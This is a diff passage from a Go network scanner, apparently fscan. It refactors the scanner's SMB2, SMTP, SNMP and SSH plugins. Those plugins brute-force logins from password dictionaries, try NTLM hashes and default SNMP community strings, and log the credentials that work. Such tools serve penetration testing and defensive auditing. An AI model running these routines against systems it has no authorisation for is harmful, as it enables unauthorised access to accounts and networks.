continue continue
} }
@ -183,7 +184,7 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
lockedUsers[credential.Username] = true lockedUsers[credential.Username] = true
mutex.Unlock() mutex.Unlock()
Common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username)) common.LogError(fmt.Sprintf("用户 %s 已被锁定", credential.Username))
} }
} }
} }
@ -208,10 +209,10 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
} }
if cred.IsHash { if cred.IsHash {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s", common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s Hash:%s",
i+1, len(credentials), cred.Username, Common.HashValue)) i+1, len(credentials), cred.Username, common.HashValue))
} else { } else {
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s",
i+1, len(credentials), cred.Username, cred.Password)) i+1, len(credentials), cred.Username, cred.Password))
} }
@ -238,16 +239,16 @@ func concurrentSmb2Scan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("SMB2扫描全局超时") common.LogDebug("SMB2扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
} }
} }
// trySmb2Credential 尝试单个SMB2凭据 // trySmb2Credential 尝试单个SMB2凭据
func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult { func trySmb2Credential(ctx context.Context, info *common.HostInfo, credential Smb2Credential, hasprint bool) *Smb2ScanResult {
// 创建单个连接超时上下文 // 创建单个连接超时上下文
connCtx, cancel := context.WithTimeout(ctx, time.Duration(Common.Timeout)*time.Second) connCtx, cancel := context.WithTimeout(ctx, time.Duration(common.Timeout)*time.Second)
defer cancel() defer cancel()
// 在协程中尝试连接 // 在协程中尝试连接
@ -315,9 +316,9 @@ func trySmb2Credential(ctx context.Context, info *Common.HostInfo, credential Sm
} }
// Smb2Con 尝试SMB2连接并进行认证检查共享访问权限 // Smb2Con 尝试SMB2连接并进行认证检查共享访问权限
func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) { func Smb2Con(ctx context.Context, info *common.HostInfo, user string, pass string, hash []byte, hasprint bool) (flag bool, err error, shares []string) {
// 建立TCP连接使用socks代理支持 // 建立TCP连接使用socks代理支持
conn, err := Common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(Common.Timeout)*time.Second) conn, err := common.WrapperTcpWithTimeout("tcp", fmt.Sprintf("%s:445", info.Host), time.Duration(common.Timeout)*time.Second)
if err != nil { if err != nil {
return false, fmt.Errorf("连接失败: %v", err), nil return false, fmt.Errorf("连接失败: %v", err), nil
} }
@ -326,7 +327,7 @@ func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass strin
// 配置NTLM认证 // 配置NTLM认证
initiator := smb2.NTLMInitiator{ initiator := smb2.NTLMInitiator{
User: user, User: user,
Domain: Common.Domain, Domain: common.Domain,
} }
// 设置认证方式(哈希或密码) // 设置认证方式(哈希或密码)
@ -394,98 +395,98 @@ func Smb2Con(ctx context.Context, info *Common.HostInfo, user string, pass strin
} }
// logSuccessfulAuth 记录成功的认证 // logSuccessfulAuth 记录成功的认证
func logSuccessfulAuth(info *Common.HostInfo, user, pass string, hash []byte) { func logSuccessfulAuth(info *common.HostInfo, user, pass string, hash []byte) {
credential := pass credential := pass
if len(hash) > 0 { if len(hash) > 0 {
credential = Common.HashValue credential = common.HashValue
} }
// 保存认证成功结果 // 保存认证成功结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "success", Status: "success",
Details: map[string]interface{}{ Details: map[string]interface{}{
"port": info.Ports, "port": info.Ports,
"service": "smb2", "service": "smb2",
"username": user, "username": user,
"domain": Common.Domain, "domain": common.Domain,
"type": "weak-auth", "type": "weak-auth",
"credential": credential, "credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0], "auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
// 控制台输出 // 控制台输出
var msg string var msg string
if Common.Domain != "" { if common.Domain != "" {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) msg = fmt.Sprintf("SMB2认证成功 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user)
} else { } else {
msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user) msg = fmt.Sprintf("SMB2认证成功 %s:%s %s", info.Host, info.Ports, user)
} }
if len(hash) > 0 { if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue) msg += fmt.Sprintf(" Hash:%s", common.HashValue)
} else { } else {
msg += fmt.Sprintf(" Pass:%s", pass) msg += fmt.Sprintf(" Pass:%s", pass)
} }
Common.LogSuccess(msg) common.LogSuccess(msg)
} }
// logFailedAuth 记录失败的认证 // logFailedAuth 记录失败的认证
func logFailedAuth(info *Common.HostInfo, user, pass string, hash []byte, err error) { func logFailedAuth(info *common.HostInfo, user, pass string, hash []byte, err error) {
var errlog string var errlog string
if len(hash) > 0 { if len(hash) > 0 {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v", errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s Hash:%s %v",
info.Host, info.Ports, user, Common.HashValue, err) info.Host, info.Ports, user, common.HashValue, err)
} else { } else {
errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v", errlog = fmt.Sprintf("SMB2认证失败 %s:%s %s:%s %v",
info.Host, info.Ports, user, pass, err) info.Host, info.Ports, user, pass, err)
} }
errlog = strings.ReplaceAll(errlog, "\n", " ") errlog = strings.ReplaceAll(errlog, "\n", " ")
Common.LogError(errlog) common.LogError(errlog)
} }
// logShareInfo 记录SMB共享信息 // logShareInfo 记录SMB共享信息
func logShareInfo(info *Common.HostInfo, user string, pass string, hash []byte, shares []string) { func logShareInfo(info *common.HostInfo, user string, pass string, hash []byte, shares []string) {
credential := pass credential := pass
if len(hash) > 0 { if len(hash) > 0 {
credential = Common.HashValue credential = common.HashValue
} }
// 保存共享信息结果 // 保存共享信息结果
result := &Common.ScanResult{ result := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "shares-found", Status: "shares-found",
Details: map[string]interface{}{ Details: map[string]interface{}{
"port": info.Ports, "port": info.Ports,
"service": "smb2", "service": "smb2",
"username": user, "username": user,
"domain": Common.Domain, "domain": common.Domain,
"shares": shares, "shares": shares,
"credential": credential, "credential": credential,
"auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0], "auth_type": map[bool]string{true: "hash", false: "password"}[len(hash) > 0],
}, },
} }
Common.SaveResult(result) common.SaveResult(result)
// 控制台输出 // 控制台输出
var msg string var msg string
if Common.Domain != "" { if common.Domain != "" {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, Common.Domain, user) msg = fmt.Sprintf("SMB2共享信息 %s:%s %s\\%s", info.Host, info.Ports, common.Domain, user)
} else { } else {
msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user) msg = fmt.Sprintf("SMB2共享信息 %s:%s %s", info.Host, info.Ports, user)
} }
if len(hash) > 0 { if len(hash) > 0 {
msg += fmt.Sprintf(" Hash:%s", Common.HashValue) msg += fmt.Sprintf(" Hash:%s", common.HashValue)
} else { } else {
msg += fmt.Sprintf(" Pass:%s", pass) msg += fmt.Sprintf(" Pass:%s", pass)
} }
msg += fmt.Sprintf(" 共享:%v", shares) msg += fmt.Sprintf(" 共享:%v", shares)
Common.LogBase(msg) common.LogBase(msg)
} }

View File

@ -8,7 +8,8 @@ import (
"sync" "sync"
"time" "time"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
) )
// SmtpCredential 表示一个SMTP凭据 // SmtpCredential 表示一个SMTP凭据
@ -26,21 +27,21 @@ type SmtpScanResult struct {
} }
// SmtpScan 执行 SMTP 服务扫描 // SmtpScan 执行 SMTP 服务扫描
func SmtpScan(info *Common.HostInfo) error { func SmtpScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 设置全局超时上下文 // 设置全局超时上下文
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer cancel() defer cancel()
// 先测试匿名访问 // 先测试匿名访问
Common.LogDebug("尝试匿名访问...") common.LogDebug("尝试匿名访问...")
anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, Common.Timeout, Common.MaxRetries) anonymousResult := trySmtpCredential(ctx, info, SmtpCredential{"", ""}, common.Timeout, common.MaxRetries)
if anonymousResult.Success { if anonymousResult.Success {
// 匿名访问成功 // 匿名访问成功
@ -50,8 +51,8 @@ func SmtpScan(info *Common.HostInfo) error {
// 构建凭据列表 // 构建凭据列表
var credentials []SmtpCredential var credentials []SmtpCredential
for _, user := range Common.Userdict["smtp"] { for _, user := range common.Userdict["smtp"] {
for _, pass := range Common.Passwords { for _, pass := range common.Passwords {
actualPass := strings.Replace(pass, "{user}", user, -1) actualPass := strings.Replace(pass, "{user}", user, -1)
credentials = append(credentials, SmtpCredential{ credentials = append(credentials, SmtpCredential{
Username: user, Username: user,
@ -60,11 +61,11 @@ func SmtpScan(info *Common.HostInfo) error {
} }
} }
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["smtp"]), len(Common.Passwords), len(credentials))) len(common.Userdict["smtp"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentSmtpScan(ctx, info, credentials, Common.Timeout, Common.MaxRetries) result := concurrentSmtpScan(ctx, info, credentials, common.Timeout, common.MaxRetries)
if result != nil { if result != nil {
// 记录成功结果 // 记录成功结果
saveSmtpResult(info, target, result) saveSmtpResult(info, target, result)
@ -74,18 +75,18 @@ func SmtpScan(info *Common.HostInfo) error {
// 检查是否因为全局超时而退出 // 检查是否因为全局超时而退出
select { select {
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("SMTP扫描全局超时") common.LogDebug("SMTP扫描全局超时")
return fmt.Errorf("全局超时") return fmt.Errorf("全局超时")
default: default:
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问 common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个组合", len(credentials)+1)) // +1 是因为还尝试了匿名访问
return nil return nil
} }
} }
// concurrentSmtpScan 并发扫描SMTP服务 // concurrentSmtpScan 并发扫描SMTP服务
func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult { func concurrentSmtpScan(ctx context.Context, info *common.HostInfo, credentials []SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
// 使用ModuleThreadNum控制并发数 // 使用ModuleThreadNum控制并发数
maxConcurrent := Common.ModuleThreadNum maxConcurrent := common.ModuleThreadNum
if maxConcurrent <= 0 { if maxConcurrent <= 0 {
maxConcurrent = 10 // 默认值 maxConcurrent = 10 // 默认值
} }
@ -131,7 +132,7 @@ func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -152,14 +153,14 @@ func concurrentSmtpScan(ctx context.Context, info *Common.HostInfo, credentials
} }
return nil return nil
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("SMTP并发扫描全局超时") common.LogDebug("SMTP并发扫描全局超时")
scanCancel() // 确保取消所有未完成工作 scanCancel() // 确保取消所有未完成工作
return nil return nil
} }
} }
// trySmtpCredential 尝试单个SMTP凭据 // trySmtpCredential 尝试单个SMTP凭据
func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult { func trySmtpCredential(ctx context.Context, info *common.HostInfo, credential SmtpCredential, timeoutSeconds int64, maxRetries int) *SmtpScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
@ -172,7 +173,7 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
} }
default: default:
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -232,7 +233,7 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -247,13 +248,13 @@ func trySmtpCredential(ctx context.Context, info *Common.HostInfo, credential Sm
} }
// SmtpConn 尝试 SMTP 连接 // SmtpConn 尝试 SMTP 连接
func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) { func SmtpConn(info *common.HostInfo, user string, pass string, timeoutSeconds int64) (bool, error) {
host, port := info.Host, info.Ports host, port := info.Host, info.Ports
timeout := time.Duration(timeoutSeconds) * time.Second timeout := time.Duration(timeoutSeconds) * time.Second
addr := fmt.Sprintf("%s:%s", host, port) addr := fmt.Sprintf("%s:%s", host, port)
// 设置连接超时 // 设置连接超时
conn, err := Common.WrapperTcpWithTimeout("tcp", addr, timeout) conn, err := common.WrapperTcpWithTimeout("tcp", addr, timeout)
if err != nil { if err != nil {
return false, err return false, err
} }
@ -287,7 +288,7 @@ func SmtpConn(info *Common.HostInfo, user string, pass string, timeoutSeconds in
} }
// saveSmtpResult 保存SMTP扫描结果 // saveSmtpResult 保存SMTP扫描结果
func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult) { func saveSmtpResult(info *common.HostInfo, target string, result *SmtpScanResult) {
var successMsg string var successMsg string
var details map[string]interface{} var details map[string]interface{}
@ -311,15 +312,15 @@ func saveSmtpResult(info *Common.HostInfo, target string, result *SmtpScanResult
} }
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: details, Details: details,
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
} }

View File

@ -3,37 +3,38 @@ package Plugins
import ( import (
"fmt" "fmt"
"github.com/gosnmp/gosnmp" "github.com/gosnmp/gosnmp"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"strconv" "strconv"
"strings" "strings"
"time" "time"
) )
// SNMPScan 执行SNMP服务扫描 // SNMPScan 执行SNMP服务扫描
func SNMPScan(info *Common.HostInfo) (tmperr error) { func SNMPScan(info *common.HostInfo) (tmperr error) {
if Common.DisableBrute { if common.DisableBrute {
return return
} }
maxRetries := Common.MaxRetries maxRetries := common.MaxRetries
portNum, _ := strconv.Atoi(info.Ports) portNum, _ := strconv.Atoi(info.Ports)
defaultCommunities := []string{"public", "private", "cisco", "community"} defaultCommunities := []string{"public", "private", "cisco", "community"}
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
Common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities))) common.LogDebug(fmt.Sprintf("尝试默认 community 列表 (总数: %d)", len(defaultCommunities)))
tried := 0 tried := 0
total := len(defaultCommunities) total := len(defaultCommunities)
for _, community := range defaultCommunities { for _, community := range defaultCommunities {
tried++ tried++
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试 community: %s", tried, total, community))
for retryCount := 0; retryCount < maxRetries; retryCount++ { for retryCount := 0; retryCount < maxRetries; retryCount++ {
if retryCount > 0 { if retryCount > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community)) common.LogDebug(fmt.Sprintf("第%d次重试: community: %s", retryCount+1, community))
} }
done := make(chan struct { done := make(chan struct {
@ -63,12 +64,12 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
if result.sysDesc != "" { if result.sysDesc != "" {
successMsg += fmt.Sprintf(" System: %v", result.sysDesc) successMsg += fmt.Sprintf(" System: %v", result.sysDesc)
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
// 保存结果 // 保存结果
vulnResult := &Common.ScanResult{ vulnResult := &output.ScanResult{
Time: time.Now(), Time: time.Now(),
Type: Common.VULN, Type: output.TypeVuln,
Target: info.Host, Target: info.Host,
Status: "vulnerable", Status: "vulnerable",
Details: map[string]interface{}{ Details: map[string]interface{}{
@ -79,7 +80,7 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
"system": result.sysDesc, "system": result.sysDesc,
}, },
} }
Common.SaveResult(vulnResult) common.SaveResult(vulnResult)
return nil return nil
} }
case <-time.After(timeout): case <-time.After(timeout):
@ -89,9 +90,9 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
if err != nil { if err != nil {
errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v", errlog := fmt.Sprintf("SNMP服务 %s 尝试失败 community: %v 错误: %v",
target, community, err) target, community, err)
Common.LogError(errlog) common.LogError(errlog)
if retryErr := Common.CheckErrs(err); retryErr != nil { if retryErr := common.CheckErrs(err); retryErr != nil {
if retryCount == maxRetries-1 { if retryCount == maxRetries-1 {
continue continue
} }
@ -102,14 +103,14 @@ func SNMPScan(info *Common.HostInfo) (tmperr error) {
} }
} }
Common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried)) common.LogDebug(fmt.Sprintf("扫描完成,共尝试 %d 个 community", tried))
return tmperr return tmperr
} }
// SNMPConnect 尝试SNMP连接 // SNMPConnect 尝试SNMP连接
func SNMPConnect(info *Common.HostInfo, community string, portNum int) (bool, string, error) { func SNMPConnect(info *common.HostInfo, community string, portNum int) (bool, string, error) {
host := info.Host host := info.Host
timeout := time.Duration(Common.Timeout) * time.Second timeout := time.Duration(common.Timeout) * time.Second
snmp := &gosnmp.GoSNMP{ snmp := &gosnmp.GoSNMP{
Target: host, Target: host,

View File

@ -3,7 +3,8 @@ package Plugins
import ( import (
"context" "context"
"fmt" "fmt"
"github.com/shadow1ng/fscan/Common" "github.com/shadow1ng/fscan/common"
"github.com/shadow1ng/fscan/common/output"
"golang.org/x/crypto/ssh" "golang.org/x/crypto/ssh"
"io/ioutil" "io/ioutil"
"net" "net"
@ -26,16 +27,16 @@ type SshScanResult struct {
} }
// SshScan 扫描SSH服务弱密码 // SshScan 扫描SSH服务弱密码
func SshScan(info *Common.HostInfo) error { func SshScan(info *common.HostInfo) error {
if Common.DisableBrute { if common.DisableBrute {
return nil return nil
} }
target := fmt.Sprintf("%v:%v", info.Host, info.Ports) target := fmt.Sprintf("%v:%v", info.Host, info.Ports)
Common.LogDebug(fmt.Sprintf("开始扫描 %s", target)) common.LogDebug(fmt.Sprintf("开始扫描 %s", target))
// 创建全局超时上下文 // 创建全局超时上下文
globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(Common.GlobalTimeout)*time.Second) globalCtx, globalCancel := context.WithTimeout(context.Background(), time.Duration(common.GlobalTimeout)*time.Second)
defer globalCancel() defer globalCancel()
// 创建结果通道 // 创建结果通道
@ -44,19 +45,19 @@ func SshScan(info *Common.HostInfo) error {
// 启动一个协程进行扫描 // 启动一个协程进行扫描
go func() { go func() {
// 如果指定了SSH密钥使用密钥认证而非密码爆破 // 如果指定了SSH密钥使用密钥认证而非密码爆破
if Common.SshKeyPath != "" { if common.SshKeyPath != "" {
Common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", Common.SshKeyPath)) common.LogDebug(fmt.Sprintf("使用SSH密钥认证: %s", common.SshKeyPath))
// 尝试使用密钥连接各个用户 // 尝试使用密钥连接各个用户
for _, user := range Common.Userdict["ssh"] { for _, user := range common.Userdict["ssh"] {
select { select {
case <-globalCtx.Done(): case <-globalCtx.Done():
Common.LogDebug("全局超时,中止密钥认证") common.LogDebug("全局超时,中止密钥认证")
return return
default: default:
Common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user)) common.LogDebug(fmt.Sprintf("尝试使用密钥认证用户: %s", user))
success, err := attemptKeyAuth(info, user, Common.SshKeyPath, Common.Timeout) success, err := attemptKeyAuth(info, user, common.SshKeyPath, common.Timeout)
if success { if success {
credential := SshCredential{ credential := SshCredential{
Username: user, Username: user,
@ -69,23 +70,23 @@ func SshScan(info *Common.HostInfo) error {
} }
return return
} else { } else {
Common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err)) common.LogDebug(fmt.Sprintf("密钥认证失败: %s, 错误: %v", user, err))
} }
} }
} }
Common.LogDebug("所有用户密钥认证均失败") common.LogDebug("所有用户密钥认证均失败")
resultChan <- nil resultChan <- nil
return return
} }
// 否则使用密码爆破 // 否则使用密码爆破
credentials := generateCredentials(Common.Userdict["ssh"], Common.Passwords) credentials := generateCredentials(common.Userdict["ssh"], common.Passwords)
Common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)", common.LogDebug(fmt.Sprintf("开始尝试用户名密码组合 (总用户数: %d, 总密码数: %d, 总组合数: %d)",
len(Common.Userdict["ssh"]), len(Common.Passwords), len(credentials))) len(common.Userdict["ssh"]), len(common.Passwords), len(credentials)))
// 使用工作池并发扫描 // 使用工作池并发扫描
result := concurrentSshScan(globalCtx, info, credentials, Common.Timeout, Common.MaxRetries, Common.ModuleThreadNum) result := concurrentSshScan(globalCtx, info, credentials, common.Timeout, common.MaxRetries, common.ModuleThreadNum)
resultChan <- result resultChan <- result
}() }()
@ -98,16 +99,16 @@ func SshScan(info *Common.HostInfo) error {
return nil return nil
} }
case <-globalCtx.Done(): case <-globalCtx.Done():
Common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target)) common.LogDebug(fmt.Sprintf("扫描 %s 全局超时", target))
return fmt.Errorf("全局超时,扫描未完成") return fmt.Errorf("全局超时,扫描未完成")
} }
Common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据")) common.LogDebug(fmt.Sprintf("扫描完成,未发现有效凭据"))
return nil return nil
} }
// attemptKeyAuth 尝试使用SSH密钥认证 // attemptKeyAuth 尝试使用SSH密钥认证
func attemptKeyAuth(info *Common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) { func attemptKeyAuth(info *common.HostInfo, username, keyPath string, timeoutSeconds int64) (bool, error) {
pemBytes, err := ioutil.ReadFile(keyPath) pemBytes, err := ioutil.ReadFile(keyPath)
if err != nil { if err != nil {
return false, fmt.Errorf("读取密钥失败: %v", err) return false, fmt.Errorf("读取密钥失败: %v", err)
@ -158,7 +159,7 @@ func generateCredentials(users, passwords []string) []SshCredential {
} }
// concurrentSshScan 并发扫描SSH服务 // concurrentSshScan 并发扫描SSH服务
func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult { func concurrentSshScan(ctx context.Context, info *common.HostInfo, credentials []SshCredential, timeout int64, maxRetries, maxThreads int) *SshScanResult {
// 限制并发数 // 限制并发数
if maxThreads <= 0 { if maxThreads <= 0 {
maxThreads = 10 // 默认值 maxThreads = 10 // 默认值
@ -206,7 +207,7 @@ func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials [
case <-scanCtx.Done(): case <-scanCtx.Done():
break break
default: default:
Common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password)) common.LogDebug(fmt.Sprintf("[%d/%d] 尝试: %s:%s", i+1, len(credentials), cred.Username, cred.Password))
workChan <- cred workChan <- cred
} }
} }
@ -226,19 +227,19 @@ func concurrentSshScan(ctx context.Context, info *Common.HostInfo, credentials [
return result return result
} }
case <-ctx.Done(): case <-ctx.Done():
Common.LogDebug("父上下文取消,中止所有扫描") common.LogDebug("父上下文取消,中止所有扫描")
} }
return nil return nil
} }
// trySshCredential 尝试单个SSH凭据 // trySshCredential 尝试单个SSH凭据
func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult { func trySshCredential(info *common.HostInfo, credential SshCredential, timeout int64, maxRetries int) *SshScanResult {
var lastErr error var lastErr error
for retry := 0; retry < maxRetries; retry++ { for retry := 0; retry < maxRetries; retry++ {
if retry > 0 { if retry > 0 {
Common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password)) common.LogDebug(fmt.Sprintf("第%d次重试: %s:%s", retry+1, credential.Username, credential.Password))
time.Sleep(500 * time.Millisecond) // 重试前等待 time.Sleep(500 * time.Millisecond) // 重试前等待
} }
@ -253,7 +254,7 @@ func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout i
lastErr = err lastErr = err
if err != nil { if err != nil {
// 检查是否需要重试 // 检查是否需要重试
if retryErr := Common.CheckErrs(err); retryErr == nil { if retryErr := common.CheckErrs(err); retryErr == nil {
break // 不需要重试的错误 break // 不需要重试的错误
} }
} }
@ -267,7 +268,7 @@ func trySshCredential(info *Common.HostInfo, credential SshCredential, timeout i
} }
// attemptSshConnection 尝试SSH连接 // attemptSshConnection 尝试SSH连接
func attemptSshConnection(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) { func attemptSshConnection(info *common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second) ctx, cancel := context.WithTimeout(context.Background(), time.Duration(timeoutSeconds)*time.Second)
defer cancel() defer cancel()
@ -296,7 +297,7 @@ func attemptSshConnection(info *Common.HostInfo, username, password string, time
} }
// sshConnect 建立SSH连接并验证 // sshConnect 建立SSH连接并验证
func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) { func sshConnect(info *common.HostInfo, username, password string, timeoutSeconds int64) (bool, error) {
auth := []ssh.AuthMethod{ssh.Password(password)} auth := []ssh.AuthMethod{ssh.Password(password)}
config := &ssh.ClientConfig{ config := &ssh.ClientConfig{
@ -324,7 +325,7 @@ func sshConnect(info *Common.HostInfo, username, password string, timeoutSeconds
} }
// logAndSaveSuccess 记录并保存成功结果 // logAndSaveSuccess 记录并保存成功结果
func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResult) { func logAndSaveSuccess(info *common.HostInfo, target string, result *SshScanResult) {
var successMsg string var successMsg string
details := map[string]interface{}{ details := map[string]interface{}{
"port": info.Ports, "port": info.Ports,
@ -334,11 +335,11 @@ func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResu
} }
// 区分密钥认证和密码认证 // 区分密钥认证和密码认证
if Common.SshKeyPath != "" { if common.SshKeyPath != "" {
successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v", successMsg = fmt.Sprintf("SSH密钥认证成功 %s User:%v KeyPath:%v",
target, result.Credential.Username, Common.SshKeyPath) target, result.Credential.Username, common.SshKeyPath)
details["auth_type"] = "key" details["auth_type"] = "key"
details["key_path"] = Common.SshKeyPath details["key_path"] = common.SshKeyPath
} else { } else {
successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v", successMsg = fmt.Sprintf("SSH密码认证成功 %s User:%v Pass:%v",
target, result.Credential.Username, result.Credential.Password) target, result.Credential.Username, result.Credential.Password)
@ -346,14 +347,14 @@ func logAndSaveSuccess(info *Common.HostInfo, target string, result *SshScanResu
details["password"] = result.Credential.Password details["password"] = result.Credential.Password
} }
Common.LogSuccess(successMsg) common.LogSuccess(successMsg)
